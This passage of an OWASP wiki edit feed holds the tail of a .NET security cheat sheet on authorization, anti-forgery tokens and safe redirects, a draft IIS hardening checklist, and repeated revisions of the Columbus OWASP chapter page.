        &amp;amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;/customHeaders&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/httpProtocol&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''A7 Missing function level access control'''&lt;br /&gt;
&lt;br /&gt;
DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize(Roles = &amp;quot;Admin&amp;quot;)]&lt;br /&gt;
     [HttpGet]&lt;br /&gt;
     public ActionResult Index(int page = 1)&lt;br /&gt;
&lt;br /&gt;
or better yet, at controller level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize]&lt;br /&gt;
     public class UserController&lt;br /&gt;
&lt;br /&gt;
You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)&lt;br /&gt;
&lt;br /&gt;
* '''A8 Cross site request forgery'''&lt;br /&gt;
&lt;br /&gt;
DO: Send the anti-forgery token with every Post/Put request:&lt;br /&gt;
&lt;br /&gt;
    using (Html.BeginForm(&amp;quot;LogOff&amp;quot;, &amp;quot;Account&amp;quot;, FormMethod.Post, new { id = &amp;quot;logoutForm&amp;quot;, @class = &amp;quot;pull-right&amp;quot; }))&lt;br /&gt;
        {&lt;br /&gt;
        @Html.AntiForgeryToken()&lt;br /&gt;
        &amp;amp;lt;ul class=&amp;quot;nav nav-pills&amp;quot;&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;Logged on as @User.Identity.Name&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;&amp;amp;lt;a href=&amp;quot;javascript:document.getElementById('logoutForm').submit()&amp;quot;&amp;amp;gt;Log off&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/li&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;/ul&amp;amp;gt;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Then validate it at the method or preferably the controller level:&lt;br /&gt;
&lt;br /&gt;
        [HttpPost]&lt;br /&gt;
        '''[ValidateAntiForgeryToken]'''&lt;br /&gt;
        public ActionResult LogOff()&lt;br /&gt;
&lt;br /&gt;
Make sure the tokens are removed completely for invalidation on logout.&lt;br /&gt;
&lt;br /&gt;
        /// &amp;lt;summary&amp;gt;&lt;br /&gt;
        /// SECURE: Remove any remaining cookies including Anti-CSRF cookie&lt;br /&gt;
        /// &amp;lt;/summary&amp;gt;&lt;br /&gt;
        public void RemoveAntiForgeryCookie(Controller controller)&lt;br /&gt;
        {&lt;br /&gt;
            string[] allCookies = controller.Request.Cookies.AllKeys;&lt;br /&gt;
            foreach (string cookie in allCookies)&lt;br /&gt;
            {&lt;br /&gt;
                if (controller.Response.Cookies[cookie] != null &amp;amp;&amp;amp; cookie == &amp;quot;__RequestVerificationToken&amp;quot;)&lt;br /&gt;
                {&lt;br /&gt;
                    controller.Response.Cookies[cookie].Expires = DateTime.Now.AddDays(-1);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
NB: You will need to attach the anti-forgery token to Ajax requests.&lt;br /&gt;
&lt;br /&gt;
After .NET Core 2.0 it is possible to automatically generate and verify the antiforgery token.  Forms must have the requisite helper as seen here:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;form action=&amp;quot;RelevantAction&amp;quot; &amp;gt;&lt;br /&gt;
    @Html.AntiForgeryToken()&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And then add the [AutoValidateAntiforgeryToken] attribute to the action result.&lt;br /&gt;
&lt;br /&gt;
* '''A9 Using components with known vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
DO: Keep the .Net framework updated with the latest patches&lt;br /&gt;
&lt;br /&gt;
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
DO:  Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]&lt;br /&gt;
&lt;br /&gt;
* '''A10 Unvalidated redirects and forwards'''&lt;br /&gt;
&lt;br /&gt;
A protection against this was introduced in Mvc 3 template. Here is the code:&lt;br /&gt;
&lt;br /&gt;
        public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (ModelState.IsValid)&lt;br /&gt;
            {&lt;br /&gt;
                var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);&lt;br /&gt;
                if (logonResult.Success)&lt;br /&gt;
                {&lt;br /&gt;
                    await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);                              &lt;br /&gt;
                    return RedirectToLocal(returnUrl);&lt;br /&gt;
        ....&lt;br /&gt;
&lt;br /&gt;
        private ActionResult RedirectToLocal(string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (Url.IsLocalUrl(returnUrl))&lt;br /&gt;
            {&lt;br /&gt;
                return Redirect(returnUrl);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                return RedirectToAction(&amp;quot;Landing&amp;quot;, &amp;quot;Account&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Other advice:&lt;br /&gt;
&lt;br /&gt;
* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]&lt;br /&gt;
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]&lt;br /&gt;
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.&lt;br /&gt;
&lt;br /&gt;
More information:&lt;br /&gt;
&lt;br /&gt;
For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]&lt;br /&gt;
&lt;br /&gt;
==XAML Guidance==&lt;br /&gt;
&lt;br /&gt;
* Work within the constraints of Internet Zone security for your application.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Windows Forms Guidance== &lt;br /&gt;
&lt;br /&gt;
* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
==WCF Guidance==&lt;br /&gt;
&lt;br /&gt;
* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.&lt;br /&gt;
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.&lt;br /&gt;
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.&lt;br /&gt;
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Bill Sempf - bill.sempf(at)owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Troy Hunt - troyhunt(at)hotmail.com&amp;lt;br /&amp;gt;&lt;br /&gt;
Jeremy Long - jeremy.long(at)owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Contributors ==&lt;br /&gt;
&lt;br /&gt;
Shane Murnion&lt;br /&gt;
John Staveley&lt;br /&gt;
Steve Bamelis&lt;br /&gt;
Xander Sherry&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
[[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=241793</id>
		<title>Hardening IIS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=241793"/>
				<updated>2018-07-12T20:53:47Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Formatted the layout of the headers.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Draft - Work In Progress =&lt;br /&gt;
&lt;br /&gt;
=== Basic configuration ===&lt;br /&gt;
&lt;br /&gt;
==== Disable directoryBrowsing ====&lt;br /&gt;
&lt;br /&gt;
==== Avoid wildcard host headers ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure applicationPoolIdentity is configured for all application pools ====&lt;br /&gt;
&lt;br /&gt;
==== Use an unique applicationPool per site ====&lt;br /&gt;
&lt;br /&gt;
==== Disable IIS detailed error page from displaying remotely ====&lt;br /&gt;
&lt;br /&gt;
=== Request filtering ===&lt;br /&gt;
&lt;br /&gt;
==== Configure maxAllowedContentLength ====&lt;br /&gt;
&lt;br /&gt;
==== Configure maxURL request filter ====&lt;br /&gt;
&lt;br /&gt;
==== Configure MaxQueryString request filter ====&lt;br /&gt;
&lt;br /&gt;
==== Reject non-ASCII characters in URLs ====&lt;br /&gt;
&lt;br /&gt;
==== Reject double-encoded requests ====&lt;br /&gt;
&lt;br /&gt;
==== Disable HTTP trace requests ====&lt;br /&gt;
&lt;br /&gt;
==== Disallow unlisted file extensions ====&lt;br /&gt;
&lt;br /&gt;
==== Enable Dynamic IP Address Restrictions ====&lt;br /&gt;
&lt;br /&gt;
=== Transport Encryption ===&lt;br /&gt;
&lt;br /&gt;
==== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ====&lt;br /&gt;
&lt;br /&gt;
==== A list of recommendations for IIS ====&lt;br /&gt;
&lt;br /&gt;
===== Disable SSL v2/v3 =====&lt;br /&gt;
&lt;br /&gt;
===== Disable TLS 1.0 =====&lt;br /&gt;
&lt;br /&gt;
===== Disable TLS 1.1 =====&lt;br /&gt;
&lt;br /&gt;
===== Ensure TLS 1.2 is enabled =====&lt;br /&gt;
&lt;br /&gt;
===== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) =====&lt;br /&gt;
&lt;br /&gt;
===== Ensure TLS cipher suites are correctly ordered =====&lt;br /&gt;
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/&lt;br /&gt;
&lt;br /&gt;
=== HSTS support ===&lt;br /&gt;
&lt;br /&gt;
==== IIS recently (Windows Server 1709) added turnkey support for HSTS ====&lt;br /&gt;
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts&lt;br /&gt;
&lt;br /&gt;
=== CORS support ===&lt;br /&gt;
&lt;br /&gt;
==== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ====&lt;br /&gt;
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Sourabh Shirhatti (Microsoft)&lt;br /&gt;
&lt;br /&gt;
Bill Sempf (bill.sempf@owasp.org)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=241789</id>
		<title>Hardening IIS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=241789"/>
				<updated>2018-07-12T15:31:27Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Created page with &amp;quot;== draft ==  1.       Basic configuration  ·         Disable directoryBrowsing  ·         Avoid wildcard host headers  ·         Ensure applicationPoolIdentity is configure...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== draft ==&lt;br /&gt;
&lt;br /&gt;
1.       Basic configuration&lt;br /&gt;
&lt;br /&gt;
·         Disable directoryBrowsing&lt;br /&gt;
&lt;br /&gt;
·         Avoid wildcard host headers&lt;br /&gt;
&lt;br /&gt;
·         Ensure applicationPoolIdentity is configured for all application pools&lt;br /&gt;
&lt;br /&gt;
·         Use an unique applicationPool per site&lt;br /&gt;
&lt;br /&gt;
·         Disable IIS detailed error page from displaying remotely&lt;br /&gt;
&lt;br /&gt;
2.       Request filtering&lt;br /&gt;
&lt;br /&gt;
·         Configure maxAllowedContentLength&lt;br /&gt;
&lt;br /&gt;
·         Configure maxURL request filter&lt;br /&gt;
&lt;br /&gt;
·         Configure MaxQueryString request filter&lt;br /&gt;
&lt;br /&gt;
·         Reject non-ASCII characters in URLs&lt;br /&gt;
&lt;br /&gt;
·         Reject double-encoded requests&lt;br /&gt;
&lt;br /&gt;
·         Disable HTTP trace requests&lt;br /&gt;
&lt;br /&gt;
·         Disallow unlisted file extensions&lt;br /&gt;
&lt;br /&gt;
·         Enable Dynamic IP Address Restrictions&lt;br /&gt;
&lt;br /&gt;
3.       Transport Encryption&lt;br /&gt;
&lt;br /&gt;
·         SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values.&lt;br /&gt;
&lt;br /&gt;
·         A list of recommendations for IIS&lt;br /&gt;
&lt;br /&gt;
                                                   i.      Disable SSL v2/v3&lt;br /&gt;
&lt;br /&gt;
                                                 ii.      Disable TLS 1.0&lt;br /&gt;
&lt;br /&gt;
                                               iii.      Disable TLS 1.1&lt;br /&gt;
&lt;br /&gt;
                                               iv.      Ensure TLS 1.2 is enabled&lt;br /&gt;
&lt;br /&gt;
                                                 v.      Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc)&lt;br /&gt;
&lt;br /&gt;
                                               vi.      Ensure TLS cipher suites are correctly ordered&lt;br /&gt;
&lt;br /&gt;
·         https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/&lt;br /&gt;
&lt;br /&gt;
4.       HSTS support&lt;br /&gt;
&lt;br /&gt;
·         IIS recently (Windows Server 1709) added turnkey support for HSTS&lt;br /&gt;
&lt;br /&gt;
·         https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts&lt;br /&gt;
&lt;br /&gt;
5.       CORS support&lt;br /&gt;
&lt;br /&gt;
·         If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS&lt;br /&gt;
&lt;br /&gt;
·         https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Sourabh Shirhatti (Microsoft)&lt;br /&gt;
Bill Sempf (bill.lsempf@owasp.org)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Columbus&amp;diff=236453</id>
		<title>Columbus</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Columbus&amp;diff=236453"/>
				<updated>2017-12-29T04:53:21Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Reverting meetup extension changes&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Welcome to the home site of the Columbus OWASP Chapter. We welcome all technology professionals to our monthly discussions of application security.&lt;br /&gt;
&lt;br /&gt;
== Upcoming Meetings ==&lt;br /&gt;
&lt;br /&gt;
'''''Upcoming meetings are listed at our new [http://www.meetup.com/Columbus-OWASP/ Meetup.com site].'''''&lt;br /&gt;
&lt;br /&gt;
== Chapter information ==&lt;br /&gt;
&lt;br /&gt;
Columbus OWASP meets monthly on the fourth Thursday of the month, with two different meeting formats. Some months are Sessions, where we have two speakers, and an open discussion of news of the day. Others are Code Jams, where we work on projects, bug bounty programs, or other geeky stuff.  All of it is described on [http://www.meetup.com/Columbus-OWASP/ Meetup.com]. There will be opportunities for Columbus OWASP members to meet other local security groups through event cross-participation and cooperation.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Membership  ===&lt;br /&gt;
&lt;br /&gt;
There have been a lot of questions about membership.  Membership supports the many projects that OWASP in involved in, including ESAPI. [http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters Learn more about membership here].  Remember to tell them you are interested in membership in the Columbus chapter.&lt;br /&gt;
&lt;br /&gt;
=== Stay in touch with Columbus OWASP  ===&lt;br /&gt;
&lt;br /&gt;
*The first stop to connecting with the community is our [https://www.meetup.com/Columbus-OWASP/messages/boards/ Meetup message board], feel free to contribute and interact with the forum - it's not just for listening!&lt;br /&gt;
&lt;br /&gt;
*We're a group on [http://www.linkedin.com/groups?home=&amp;amp;gid=2796025 LinkedIn] as well, please join us. &lt;br /&gt;
&lt;br /&gt;
=== Become a voting member  ===&lt;br /&gt;
&lt;br /&gt;
We encourage organization and individual supporters of our [http://www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project ethics &amp;amp;amp; principals] to become a voting '''[http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters MEMBER]'''. Please review the [[Chapter Rules]] and the [http://www.owasp.org/images/9/9f/2009-OWASP_KeyNote-V2.pdf OWASP overview], and [mailto:columbusowasp(at)gmail.com contact the chapter leaders] for more information. &lt;br /&gt;
&lt;br /&gt;
''The professional association of OWASP Foundation Inc., is always free and open to anyone interested in learning more about application security.'' &lt;br /&gt;
&lt;br /&gt;
=== We want your participation!  ===&lt;br /&gt;
&lt;br /&gt;
To submit educational topics for upcoming meetings, [mailto:columbusowasp(at)gmail.com submit your ideas and slide deck] (if available) using the [http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] and include a speaker BIO. It doesn't have to be formal, we're happy to provide some assistance in organizing your thoughts. You only need an interest and knowledge of your independent research or related software security topic. &lt;br /&gt;
&lt;br /&gt;
=== Sponsorship, too!  ===&lt;br /&gt;
&lt;br /&gt;
There are myriad opportunities to sponsor the chapter, including meeting space, food, marketing, and monetary donations. We're always looking for assistance. Inquiries regarding chapter or per-meeting sponsorship opportunities can be directed to [mailto:columbusowasp(at)gmail.com the chapter leaders]. As a [http://www.owasp.org/index.php/About_OWASP 501(3)c non-profit professional association] your support and sponsorship of a meeting venue and/or refreshments is tax-deductible and all financial contributions can be [https://www.owasp.org/index.php/Single_Meeting_Supporter made online right now].&lt;br /&gt;
&lt;br /&gt;
== Previous Meetings  ==&lt;br /&gt;
&lt;br /&gt;
The previous meetings, including materials and photos, can be accessed on our [https://www.meetup.com/Columbus-OWASP/ Meetup page]&lt;br /&gt;
&lt;br /&gt;
== Columbus OWASP Chapter Leaders  ==&lt;br /&gt;
&lt;br /&gt;
Please feel free to contact the chapter leaders at any time. &lt;br /&gt;
&lt;br /&gt;
*[mailto:aaronansari@gmail.com Aaron Ansari] &lt;br /&gt;
*[mailto:Connie.Matthews(at)securicon.com  Connie Matthews] &lt;br /&gt;
*[mailto:bill(at)pointweb.net Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Chapter]] [[Category:Ohio]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Columbus&amp;diff=236452</id>
		<title>Columbus</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Columbus&amp;diff=236452"/>
				<updated>2017-12-29T04:52:36Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Reverting meetup extension changes&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Welcome to the home site of the Columbus OWASP Chapter. We welcome all technology professionals to our monthly discussions of application security.&lt;br /&gt;
&lt;br /&gt;
== Upcoming Meetings ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;meetup group=&amp;quot;{Columbus-OWASP}&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Chapter information ==&lt;br /&gt;
&lt;br /&gt;
Columbus OWASP meets monthly on the fourth Thursday of the month, with two different meeting formats. Some months are Sessions, where we have two speakers, and an open discussion of news of the day. Others are Code Jams, where we work on projects, bug bounty programs, or other geeky stuff.  All of it is described on [http://www.meetup.com/Columbus-OWASP/ Meetup.com]. There will be opportunities for Columbus OWASP members to meet other local security groups through event cross-participation and cooperation.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Membership  ===&lt;br /&gt;
&lt;br /&gt;
There have been a lot of questions about membership.  Membership supports the many projects that OWASP in involved in, including ESAPI. [http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters Learn more about membership here].  Remember to tell them you are interested in membership in the Columbus chapter.&lt;br /&gt;
&lt;br /&gt;
=== Stay in touch with Columbus OWASP  ===&lt;br /&gt;
&lt;br /&gt;
*The first stop to connecting with the community is our [https://www.meetup.com/Columbus-OWASP/messages/boards/ Meetup message board], feel free to contribute and interact with the forum - it's not just for listening!&lt;br /&gt;
&lt;br /&gt;
*We're a group on [http://www.linkedin.com/groups?home=&amp;amp;gid=2796025 LinkedIn] as well, please join us. &lt;br /&gt;
&lt;br /&gt;
=== Become a voting member  ===&lt;br /&gt;
&lt;br /&gt;
We encourage organization and individual supporters of our [http://www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project ethics &amp;amp;amp; principals] to become a voting '''[http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters MEMBER]'''. Please review the [[Chapter Rules]] and the [http://www.owasp.org/images/9/9f/2009-OWASP_KeyNote-V2.pdf OWASP overview], and [mailto:columbusowasp(at)gmail.com contact the chapter leaders] for more information. &lt;br /&gt;
&lt;br /&gt;
''The professional association of OWASP Foundation Inc., is always free and open to anyone interested in learning more about application security.'' &lt;br /&gt;
&lt;br /&gt;
=== We want your participation!  ===&lt;br /&gt;
&lt;br /&gt;
To submit educational topics for upcoming meetings, [mailto:columbusowasp(at)gmail.com submit your ideas and slide deck] (if available) using the [http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] and include a speaker BIO. It doesn't have to be formal, we're happy to provide some assistance in organizing your thoughts. You only need an interest and knowledge of your independent research or related software security topic. &lt;br /&gt;
&lt;br /&gt;
=== Sponsorship, too!  ===&lt;br /&gt;
&lt;br /&gt;
There are myriad opportunities to sponsor the chapter, including meeting space, food, marketing, and monetary donations. We're always looking for assistance. Inquiries regarding chapter or per-meeting sponsorship opportunities can be directed to [mailto:columbusowasp(at)gmail.com the chapter leaders]. As a [http://www.owasp.org/index.php/About_OWASP 501(3)c non-profit professional association] your support and sponsorship of a meeting venue and/or refreshments is tax-deductible and all financial contributions can be [https://www.owasp.org/index.php/Single_Meeting_Supporter made online right now].&lt;br /&gt;
&lt;br /&gt;
== Previous Meetings  ==&lt;br /&gt;
&lt;br /&gt;
The previous meetings, including materials and photos, can be accessed on our [https://www.meetup.com/Columbus-OWASP/ Meetup page]&lt;br /&gt;
&lt;br /&gt;
== Columbus OWASP Chapter Leaders  ==&lt;br /&gt;
&lt;br /&gt;
Please feel free to contact the chapter leaders at any time. &lt;br /&gt;
&lt;br /&gt;
*[mailto:aaronansari@gmail.com Aaron Ansari] &lt;br /&gt;
*[mailto:Connie.Matthews(at)securicon.com  Connie Matthews] &lt;br /&gt;
*[mailto:bill(at)pointweb.net Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Chapter]] [[Category:Ohio]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Columbus&amp;diff=236451</id>
		<title>Columbus</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Columbus&amp;diff=236451"/>
				<updated>2017-12-29T04:41:34Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Trying again&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Welcome to the home site of the Columbus OWASP Chapter. We welcome all technology professionals to our monthly discussions of application security.&lt;br /&gt;
&lt;br /&gt;
== Upcoming Meetings ==&lt;br /&gt;
&lt;br /&gt;
[meetup group=&amp;quot;{Columbus-OWASP}&amp;quot; /]&lt;br /&gt;
&lt;br /&gt;
== Chapter information ==&lt;br /&gt;
&lt;br /&gt;
Columbus OWASP meets monthly on the fourth Thursday of the month, with two different meeting formats. Some months are Sessions, where we have two speakers, and an open discussion of news of the day. Others are Code Jams, where we work on projects, bug bounty programs, or other geeky stuff.  All of it is described on [http://www.meetup.com/Columbus-OWASP/ Meetup.com]. There will be opportunities for Columbus OWASP members to meet other local security groups through event cross-participation and cooperation.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Membership  ===&lt;br /&gt;
&lt;br /&gt;
There have been a lot of questions about membership.  Membership supports the many projects that OWASP in involved in, including ESAPI. [http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters Learn more about membership here].  Remember to tell them you are interested in membership in the Columbus chapter.&lt;br /&gt;
&lt;br /&gt;
=== Stay in touch with Columbus OWASP  ===&lt;br /&gt;
&lt;br /&gt;
*The first stop to connecting with the community is our [https://www.meetup.com/Columbus-OWASP/messages/boards/ Meetup message board], feel free to contribute and interact with the forum - it's not just for listening!&lt;br /&gt;
&lt;br /&gt;
*We're a group on [http://www.linkedin.com/groups?home=&amp;amp;gid=2796025 LinkedIn] as well, please join us. &lt;br /&gt;
&lt;br /&gt;
=== Become a voting member  ===&lt;br /&gt;
&lt;br /&gt;
We encourage organization and individual supporters of our [http://www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project ethics &amp;amp;amp; principals] to become a voting '''[http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters MEMBER]'''. Please review the [[Chapter Rules]] and the [http://www.owasp.org/images/9/9f/2009-OWASP_KeyNote-V2.pdf OWASP overview], and [mailto:columbusowasp(at)gmail.com contact the chapter leaders] for more information. &lt;br /&gt;
&lt;br /&gt;
''The professional association of OWASP Foundation Inc., is always free and open to anyone interested in learning more about application security.'' &lt;br /&gt;
&lt;br /&gt;
=== We want your participation!  ===&lt;br /&gt;
&lt;br /&gt;
To submit educational topics for upcoming meetings, [mailto:columbusowasp(at)gmail.com submit your ideas and slide deck] (if available) using the [http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] and include a speaker BIO. It doesn't have to be formal, we're happy to provide some assistance in organizing your thoughts. You only need an interest and knowledge of your independent research or related software security topic. &lt;br /&gt;
&lt;br /&gt;
=== Sponsorship, too!  ===&lt;br /&gt;
&lt;br /&gt;
There are myriad opportunities to sponsor the chapter, including meeting space, food, marketing, and monetary donations. We're always looking for assistance. Inquiries regarding chapter or per-meeting sponsorship opportunities can be directed to [mailto:columbusowasp(at)gmail.com the chapter leaders]. As a [http://www.owasp.org/index.php/About_OWASP 501(3)c non-profit professional association] your support and sponsorship of a meeting venue and/or refreshments is tax-deductible and all financial contributions can be [https://www.owasp.org/index.php/Single_Meeting_Supporter made online right now].&lt;br /&gt;
&lt;br /&gt;
== Previous Meetings  ==&lt;br /&gt;
&lt;br /&gt;
The previous meetings, including materials and photos, can be accessed on our [https://www.meetup.com/Columbus-OWASP/ Meetup page]&lt;br /&gt;
&lt;br /&gt;
== Columbus OWASP Chapter Leaders  ==&lt;br /&gt;
&lt;br /&gt;
Please feel free to contact the chapter leaders at any time. &lt;br /&gt;
&lt;br /&gt;
*[mailto:aaronansari@gmail.com Aaron Ansari] &lt;br /&gt;
*[mailto:Connie.Matthews(at)securicon.com  Connie Matthews] &lt;br /&gt;
*[mailto:bill(at)pointweb.net Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Chapter]] [[Category:Ohio]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Columbus&amp;diff=236450</id>
		<title>Columbus</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Columbus&amp;diff=236450"/>
				<updated>2017-12-29T04:40:53Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Added meetup extension&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Welcome to the home site of the Columbus OWASP Chapter. We welcome all technology professionals to our monthly discussions of application security.&lt;br /&gt;
&lt;br /&gt;
== Upcoming Meetings ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;meetup group=&amp;quot;{Columbus-OWASP}&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Chapter information ==&lt;br /&gt;
&lt;br /&gt;
